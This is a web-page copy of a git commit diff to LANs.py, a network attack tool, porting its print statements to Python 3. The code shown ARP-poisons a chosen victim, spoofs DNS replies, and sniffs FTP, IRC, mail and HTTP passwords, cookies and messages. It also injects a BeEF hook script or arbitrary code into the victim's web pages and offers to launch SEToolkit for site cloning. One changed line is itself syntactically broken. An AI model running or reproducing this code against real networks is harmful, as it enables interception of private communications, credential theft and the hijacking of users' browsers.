github/LANs.py
1
0
Fork 0
mirror of https://github.com/DanMcInerney/LANs.py.git synced 2025-08-21 22:13:24 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

compatible with python 3

Browse source
This commit is contained in:
Riyad Parvez 2013-11-09 21:30:27 +06:00
commit 490c352aba
1 changed files with 83 additions and 38 deletions
Download patch file Download diff file Expand all files Collapse all files

121
LANs.py
View file

@ -136,14 +136,19 @@ class Parser():
seq = pkt[TCP].seq seq = pkt[TCP].seq
load = pkt[Raw].load load = pkt[Raw].load
mail_ports = [25, 26, 110, 143] mail_ports = [25, 26, 110, 143]
if dport in mail_ports or sport in mail_ports: if dport in mail_ports or sport in mail_ports:
self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack) self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)
if dport == 6667 or sport == 6667: if dport == 6667 or sport == 6667:
self.irc(load, dport, sport, IP_src) self.irc(load, dport, sport, IP_src)
if dport == 21 or sport == 21: if dport == 21 or sport == 21:
self.ftp(load, IP_dst, IP_src) self.ftp(load, IP_dst, IP_src)
if dport == 80 or sport == 80: if dport == 80 or sport == 80:
self.http_parser(load, ack, dport) self.http_parser(load, ack, dport)
if args.beef or args.code: if args.beef or args.code:
self.injecthtml(load, ack, pkt, payload, dport, sport) self.injecthtml(load, ack, pkt, payload, dport, sport)
if args.dnsspoof: if args.dnsspoof:
@ -151,6 +156,7 @@ class Parser():
dport = pkt[UDP].dport dport = pkt[UDP].dport
sport = pkt[UDP].sport sport = pkt[UDP].sport
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
if dport == 53 or sport == 53: if dport == 53 or sport == 53:
dns_layer = pkt[DNS] dns_layer = pkt[DNS]
self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, localIP, payload) self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, localIP, payload)
@ -158,6 +164,7 @@ class Parser():
def get_user_agent(self, header_lines): def get_user_agent(self, header_lines):
for h in header_lines: for h in header_lines:
user_agentre = re.search('[Uu]ser-[Aa]gent: ', h) user_agentre = re.search('[Uu]ser-[Aa]gent: ', h)
if user_agentre: if user_agentre:
return h.split(user_agentre.group(), 1)[1] return h.split(user_agentre.group(), 1)[1]
@ -170,6 +177,7 @@ class Parser():
ack = str(ack) ack = str(ack)
if args.beef: if args.beef:
bhtml = '<script src='+args.beef+'></script>' bhtml = '<script src='+args.beef+'></script>'
if args.code: if args.code:
chtml = args.code chtml = args.code
@ -188,6 +196,7 @@ class Parser():
if self.html_url: if self.html_url:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in self.html_url for i in d): if any(i in self.html_url for i in d):
self.html_url = None self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
@ -201,6 +210,7 @@ class Parser():
if not self.user_agent: if not self.user_agent:
# Most common user-agent on the internet # Most common user-agent on the internet
self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'" self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'"
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
return return
@ -371,6 +381,7 @@ class Parser():
url = urlsplit[0]+'/'+urlsplit[1] url = urlsplit[0]+'/'+urlsplit[1]
except: except:
pass pass
if self.HTTPfragged == 1: if self.HTTPfragged == 1:
print(B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W) print(B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W)
logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n') logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
@ -408,6 +419,7 @@ class Parser():
except: except:
headers = load headers = load
body = '' body = ''
header_lines = headers.split(r"\r\n") header_lines = headers.split(r"\r\n")
host = self.get_host(header_lines) host = self.get_host(header_lines)
@ -426,6 +438,7 @@ class Parser():
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in url for i in d): if any(i in url for i in d):
return return
if len(url) > 146: if len(url) > 146:
print('[*] '+url[:145]) print('[*] '+url[:145])
logger.write('[*] '+url[:145]+'\n') logger.write('[*] '+url[:145]+'\n')
@ -444,15 +457,15 @@ class Parser():
load = repr(load)[1:-1].replace(r"\r\n", "") load = repr(load)[1:-1].replace(r"\r\n", "")
if 'USER ' in load: if 'USER ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W print(R+'[!] FTP '+load+' SERVER: '+IP_dst+W)
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'PASS ' in load: if 'PASS ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W print(R+'[!] FTP '+load+' SERVER: '+IP_dst+W)
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'authentication failed' in load: if 'authentication failed' in load:
print R+'[*] FTP '+load+W print(R+'[*] FTP '+load+W)
logger.write('[*] FTP '+load+'\n') logger.write('[*] FTP '+load+'\n')
def irc(self, load, dport, sport, IP_src): def irc(self, load, dport, sport, IP_src):
@ -463,27 +476,27 @@ class Parser():
if 'NICK ' in load[0]: if 'NICK ' in load[0]:
self.IRCnick = load[0].split('NICK ')[1] self.IRCnick = load[0].split('NICK ')[1]
server = load[1].replace('USER user user ', '').replace(' :user', '') server = load[1].replace('USER user user ', '').replace(' :user', '')
print R+'[!] IRC username: '+self.IRCnick+' on '+server+W print(R+'[!] IRC username: '+self.IRCnick+' on '+server+W)
logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n') logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n')
if 'NS IDENTIFY ' in load[0]: if 'NS IDENTIFY ' in load[0]:
ircpass = load[0].split('NS IDENTIFY ')[1] ircpass = load[0].split('NS IDENTIFY ')[1]
print R+'[!] IRC password: '+ircpass+W print(R+'[!] IRC password: '+ircpass+W)
logger.write('[!] IRC password: '+ircpass+'\n') logger.write('[!] IRC password: '+ircpass+'\n')
if 'JOIN ' in load[0]: if 'JOIN ' in load[0]:
join = load[0].split('JOIN ')[1] join = load[0].split('JOIN ')[1]
print C+'[+] IRC joined: '+W+join print(C+'[+] IRC joined: '+W+join)
logger.write('[+] IRC joined: '+join+'\n') logger.write('[+] IRC joined: '+join+'\n')
if 'PART ' in load[0]: if 'PART ' in load[0]:
part = load[0].split('PART ')[1] part = load[0].split('PART ')[1]
print C+'[+] IRC left: '+W+part print(C+'[+] IRC left: '+W+part)
logger.write('[+] IRC left: '+part+'\n') logger.write('[+] IRC left: '+part+'\n')
if 'QUIT ' in load[0]: if 'QUIT ' in load[0]:
quit = load[0].split('QUIT :')[1] quit = load[0].split('QUIT :')[1]
print C+'[+] IRC quit: '+W+quit print(C+'[+] IRC quit: '+W+quit)
logger.write('[+] IRC quit: '+quit+'\n') logger.write('[+] IRC quit: '+quit+'\n')
# Catch messages from the victim to an IRC channel # Catch messages from the victim to an IRC channel
@ -494,10 +507,10 @@ class Parser():
ircmsg = load.split(' :', 1)[1] ircmsg = load.split(' :', 1)[1]
if self.IRCnick != '': if self.IRCnick != '':
print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W print(C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W)
logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n') logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n')
else: else:
print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W print(C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W)
logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n') logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n')
# Catch messages from others that tag the victim's nick # Catch messages from others that tag the victim's nick
elif self.IRCnick in load[0] and self.IRCnick != '': elif self.IRCnick in load[0] and self.IRCnick != '':
@ -521,19 +534,20 @@ class Parser():
return return
else: else:
self.Cookies.append(x) self.Cookies.append(x)
print(P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W) print(P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W)
logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n') logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n')
def user_pass(self, username, password): def user_pass(self, username, password):
if username: if username:
for u in username: for u in username:
print R+'[!] Username found: '+u[1]+W print(R+'[!] Username found: '+u[1]+W)
logger.write('[!] Username: '+u[1]+'\n') logger.write('[!] Username: '+u[1]+'\n')
if password: if password:
for p in password: for p in password:
if p[1] != '': if p[1] != '':
print R+'[!] Password: '+p[1]+W print(R+'[!] Password: '+p[1]+W)
logger.write('[!] Password: '+p[1]+'\n') logger.write('[!] Password: '+p[1]+'\n')
def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack): def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
@ -555,15 +569,18 @@ class Parser():
except: except:
headers = load headers = load
body = '' body = ''
header_lines = headers.split(r"\r\n") header_lines = headers.split(r"\r\n")
email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: '] email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
# Find passwords # Find passwords
if dport in [25, 26, 110, 143]: if dport in [25, 26, 110, 143]:
self.passwords(IP_src, load, dport, IP_dst) self.passwords(IP_src, load, dport, IP_dst)
# Find outgoing messages # Find outgoing messages
if dport == 26 or dport == 25: if dport == 26 or dport == 25:
self.outgoing(load, body, header_lines, email_headers, IP_src) self.outgoing(load, body, header_lines, email_headers, IP_src)
# Find incoming messages # Find incoming messages
if sport in [110, 143]: if sport in [110, 143]:
self.incoming(headers, body, header_lines, email_headers, sport, dport) self.incoming(headers, body, header_lines, email_headers, sport, dport)
@ -572,13 +589,15 @@ class Parser():
load = load.replace(r'\r\n', '') load = load.replace(r'\r\n', '')
if dport == 143 and IP_src == victimIP and len(load) > 15: if dport == 143 and IP_src == victimIP and len(load) > 15:
if self.IMAPauth == 1 and self.IMAPdest == IP_dst: if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
# Don't double output mail passwords # Don't double output mail passwords
for x in self.mail_passwds: for x in self.mail_passwds:
if load in x: if load in x:
self.IMAPauth = 0 self.IMAPauth = 0
self.IMAPdest = '' self.IMAPdest = ''
return return
print R+'[!] IMAP user and pass found: '+load+W
print(R+'[!] IMAP user and pass found: '+load+W)
logger.write('[!] IMAP user and pass found: '+load+'\n') logger.write('[!] IMAP user and pass found: '+load+'\n')
self.mail_passwds.append(load) self.mail_passwds.append(load)
self.decode(load, dport) self.decode(load, dport)
@ -591,6 +610,7 @@ class Parser():
if dport == 110 and IP_src == victimIP: if dport == 110 and IP_src == victimIP:
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10: if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
# Don't double output mail passwords # Don't double output mail passwords
for x in self.mail_passwds: for x in self.mail_passwds:
if load in x: if load in x:
@ -611,12 +631,14 @@ class Parser():
if dport == 26: if dport == 26:
if 'AUTH PLAIN ' in load: if 'AUTH PLAIN ' in load:
# Don't double output mail passwords # Don't double output mail passwords
for x in self.mail_passwds: for x in self.mail_passwds:
if load in x: if load in x:
self.POPauth = 0 self.POPauth = 0
self.POPdest = '' self.POPdest = ''
return return
print(R+'[!] Mail authentication found: '+load+W) print(R+'[!] Mail authentication found: '+load+W)
logger.write('[!] Mail authentication found: '+load+'\n') logger.write('[!] Mail authentication found: '+load+'\n')
self.mail_passwds.append(load) self.mail_passwds.append(load)
@ -634,25 +656,29 @@ class Parser():
if self.mailfragged == 1: if self.mailfragged == 1:
print(O+'[!] OUTGOING MESSAGE (fragmented)'+W) print(O+'[!] OUTGOING MESSAGE (fragmented)'+W)
logger.write('[!] OUTGOING MESSAGE (fragmented)\n') logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
for x in self.OheadersFound: for x in self.OheadersFound:
print( )O+' ',x+W) print(O+' ',x+W)
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
print(O+' Message:',body+W) print(O+' Message:',body+W)
logger.write(' Message:'+body+'\n') logger.write(' Message:'+body+'\n')
else: else:
print O+'[!] OUTGOING MESSAGE'+W print(O+'[!] OUTGOING MESSAGE'+W)
logger.write('[!] OUTGOING MESSAGE\n') logger.write('[!] OUTGOING MESSAGE\n')
for x in self.OheadersFound: for x in self.OheadersFound:
print O+' ',x+W print(O+' ',x+W)
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
print O+' Message:',body+W
print(O+' Message:',body+W)
logger.write(' Message:'+body+'\n') logger.write(' Message:'+body+'\n')
self.OheadersFound = [] self.OheadersFound = []
def incoming(self, headers, body, header_lines, email_headers, sport, dport): def incoming(self, headers, body, header_lines, email_headers, sport, dport):
message = '' message = ''
for l in header_lines: for l in header_lines:
for x in email_headers: for x in email_headers:
if x in l: if x in l:
@ -666,27 +692,33 @@ class Parser():
message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
except: except:
return return
if message != '': if message != '':
if self.mailfragged == 1: if self.mailfragged == 1:
print O+'[!] INCOMING MESSAGE (fragmented)'+W print(O+'[!] INCOMING MESSAGE (fragmented)'+W)
logger.write('[!] INCOMING MESSAGE (fragmented)\n') logger.write('[!] INCOMING MESSAGE (fragmented)\n')
for x in self.IheadersFound: for x in self.IheadersFound:
print O+' '+x+W print(O+' '+x+W)
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
print O+' Message: '+message+W
print(O+' Message: '+message+W)
logger.write(' Message: '+message+'\n') logger.write(' Message: '+message+'\n')
else: else:
print O+'[!] INCOMING MESSAGE'+W print(O+'[!] INCOMING MESSAGE'+W)
logger.write('[!] INCOMING MESSAGE\n') logger.write('[!] INCOMING MESSAGE\n')
for x in self.IheadersFound: for x in self.IheadersFound:
print O+' '+x+W print(O+' '+x+W)
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
print O+' Message: '+message+W
print(O+' Message: '+message+W)
logger.write(' Message: '+message+'\n') logger.write(' Message: '+message+'\n')
self.IheadersFound = [] self.IheadersFound = []
def decode(self, load, dport): def decode(self, load, dport):
decoded = '' decoded = ''
if dport == 25 or dport == 26: if dport == 25 or dport == 26:
try: try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "") b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
@ -699,9 +731,10 @@ class Parser():
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except: except:
pass pass
# Test to see if decode worked # Test to see if decode worked
if '@' in decoded: if '@' in decoded:
print R+'[!] Decoded:'+decoded+W print(R+'[!] Decoded:'+decoded+W)
logger.write('[!] Decoded:'+decoded+'\n') logger.write('[!] Decoded:'+decoded+'\n')
# Spoof DNS for a specific domain to point to your machine # Spoof DNS for a specific domain to point to your machine
@ -713,7 +746,7 @@ class Parser():
logger.write('[+] Dropped real DNS response. Injecting the spoofed packet sending victim to '+localIP+'\n') logger.write('[+] Dropped real DNS response. Injecting the spoofed packet sending victim to '+localIP+'\n')
p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=localIP)) p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=localIP))
send(p) send(p)
print G+'[!] Sent spoofed packet for '+W+args.dnsspoof print(G+'[!] Sent spoofed packet for '+W+args.dnsspoof)
logger.write('[!] Sent spoofed packet for '+args.dnsspoof+'\n') logger.write('[!] Sent spoofed packet for '+args.dnsspoof+'\n')
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor #Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
@ -725,7 +758,7 @@ class Queued(object):
self.q.set_queue_maxlen(5000) self.q.set_queue_maxlen(5000)
reactor.addReader(self) reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
print '[*] Flushed firewall and forwarded traffic to the queue; waiting for data' print('[*] Flushed firewall and forwarded traffic to the queue; waiting for data')
def fileno(self): def fileno(self):
return self.q.get_fd() return self.q.get_fd()
@ -757,6 +790,7 @@ class active_users():
for y in self.IPandMAC: for y in self.IPandMAC:
if x in y[1]: if x in y[1]:
y[2] = y[2]+1 y[2] = y[2]+1
self.current_time = time.time() self.current_time = time.time()
if self.current_time > self.start_time+1: if self.current_time > self.start_time+1:
@ -773,6 +807,7 @@ class active_users():
ip = x[0].ljust(10) ip = x[0].ljust(10)
data = str(x[2]).rjust(8) data = str(x[2]).rjust(8)
print(ip, data, x[3]) print(ip, data, x[3])
print('\n[*] Hit Ctrl-C at any time to stop and choose a victim IP') print('\n[*] Hit Ctrl-C at any time to stop and choose a victim IP')
self.start_time = time.time() self.start_time = time.time()
@ -787,7 +822,7 @@ class active_users():
nmap = nmap.communicate()[0] nmap = nmap.communicate()[0]
nmap = nmap.splitlines()[2:-1] nmap = nmap.splitlines()[2:-1]
except: except:
print '[-] Nmap ARP scan failed, is it nmap installed?' print('[-] Nmap ARP scan failed, is it nmap installed?')
for x in nmap: for x in nmap:
if 'Nmap' in x: if 'Nmap' in x:
@ -797,6 +832,7 @@ class active_users():
if 'MAC' in x: if 'MAC' in x:
nmapmac = x.split()[2] nmapmac = x.split()[2]
maclist.append(nmapmac) maclist.append(nmapmac)
zipped = zip(iplist, maclist) zipped = zip(iplist, maclist)
self.IPandMAC = [list(item) for item in zipped] self.IPandMAC = [list(item) for item in zipped]
@ -837,7 +873,7 @@ class active_users():
a.append(nbtname) a.append(nbtname)
# Start monitor mode # Start monitor mode
print '[*] Enabling monitor mode' print('[*] Enabling monitor mode')
try: try:
promiscSearch = Popen(['/usr/sbin/airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN) promiscSearch = Popen(['/usr/sbin/airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
promisc = promiscSearch.communicate()[0] promisc = promiscSearch.communicate()[0]
@ -851,18 +887,19 @@ class active_users():
#Print all the variables #Print all the variables
def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP): def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[*] Active interface: " + interface print("[*] Active interface: " + interface)
print "[*] DHCP server: " + DHCPsrvr print("[*] DHCP server: " + DHCPsrvr)
print "[*] DNS server: " + dnsIP print("[*] DNS server: " + dnsIP)
print "[*] Local domain: " + local_domain print("[*] Local domain: " + local_domain)
print "[*] Router IP: " + routerIP print("[*] Router IP: " + routerIP)
print "[*] Victim IP: " + victimIP print("[*] Victim IP: " + victimIP)
logger.write("[*] Router IP: " + routerIP+'\n') logger.write("[*] Router IP: " + routerIP+'\n')
logger.write("[*] victim IP: " + victimIP+'\n') logger.write("[*] victim IP: " + victimIP+'\n')
#Enable IP forwarding and flush possibly conflicting iptables rules #Enable IP forwarding and flush possibly conflicting iptables rules
def setup(victimMAC): def setup(victimMAC):
ipfwd = Popen(['/bin/cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN) ipfwd = Popen(['/bin/cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
if ipfwd.communicate()[0] != '1\n': if ipfwd.communicate()[0] != '1\n':
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('1\n') ipf.write('1\n')
@ -897,14 +934,14 @@ def threads():
setoolkit = raw_input('[*] You are DNS spoofing '+args.dnsspoof+', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ') setoolkit = raw_input('[*] You are DNS spoofing '+args.dnsspoof+', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ')
if setoolkit == 'y': if setoolkit == 'y':
print '[*] Starting SEtoolkit. To clone '+args.dnsspoof+' hit options 1, 2, 3, 2, then enter '+args.dnsspoof print('[*] Starting SEtoolkit. To clone '+args.dnsspoof+' hit options 1, 2, 3, 2, then enter '+args.dnsspoof)
try: try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',)) se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True se.daemon = True
se.start() se.start()
except: except:
print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.' print('[-] Could not open SEToolkit, is it installed? Continuing as normal without it.')
if args.nmapaggressive: if args.nmapaggressive:
print('[*] Starting '+R+'aggressive scan [nmap -T4 -A -v -Pn -oN '+victimIP+']'+W+' in background; results will be in a file '+victimIP+'.nmap.txt') print('[*] Starting '+R+'aggressive scan [nmap -T4 -A -v -Pn -oN '+victimIP+']'+W+' in background; results will be in a file '+victimIP+'.nmap.txt')
@ -917,12 +954,13 @@ def threads():
if args.setoolkit: if args.setoolkit:
print('[*] Starting SEtoolkit') print('[*] Starting SEtoolkit')
try: try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',)) se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True se.daemon = True
se.start() se.start()
except: except:
print '[-] Could not open SEToolkit, continuing without it.' print('[-] Could not open SEToolkit, continuing without it.')
def pcap_handler(): def pcap_handler():
global victimIP global victimIP
@ -939,6 +977,7 @@ def pcap_handler():
for payload in pcap: for payload in pcap:
Parser().start(payload) Parser().start(payload)
sys.exit('[-] Finished parsing pcap file') sys.exit('[-] Finished parsing pcap file')
else: else:
sys.exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]') sys.exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]')
@ -997,12 +1036,14 @@ def main():
for s,r in ans: for s,r in ans:
DHCPopt = r[0][DHCP].options DHCPopt = r[0][DHCP].options
DHCPsrvr = r[0][IP].src DHCPsrvr = r[0][IP].src
for x in DHCPopt: for x in DHCPopt:
if 'domain' in x: if 'domain' in x:
local_domain = x[1] local_domain = x[1]
pass pass
else: else:
local_domain = 'None' local_domain = 'None'
if 'name_server' in x: if 'name_server' in x:
dnsIP = x[1] dnsIP = x[1]
else: else:
@ -1049,6 +1090,7 @@ def main():
nmap = nmap.splitlines()[3:-4] nmap = nmap.splitlines()[3:-4]
except: except:
print('[-] Nmap port and OS scan failed, is it installed?') print('[-] Nmap port and OS scan failed, is it installed?')
for x in nmap: for x in nmap:
print('[+]',x) print('[+]',x)
logger.write('[+] '+x+'\n') logger.write('[+] '+x+'\n')
@ -1057,14 +1099,16 @@ def main():
# Cleans up if Ctrl-C is caught # Cleans up if Ctrl-C is caught
def signal_handler(signal, frame): def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...' print('learing iptables, sending healing packets, and turning off IP forwarding...')
logger.close() logger.close()
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('0\n') ipf.write('0\n')
ipf.close() ipf.close()
if not dnsIP == routerIP and dnsMAC: if not dnsIP == routerIP and dnsMAC:
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
os.system('/sbin/iptables -F') os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X') os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F') os.system('/sbin/iptables -t nat -F')
@ -1078,6 +1122,7 @@ def main():
# If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router # If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
if not dnsIP == routerIP and dnsMAC: if not dnsIP == routerIP and dnsMAC:
Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC) Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
time.sleep(1.5) time.sleep(1.5)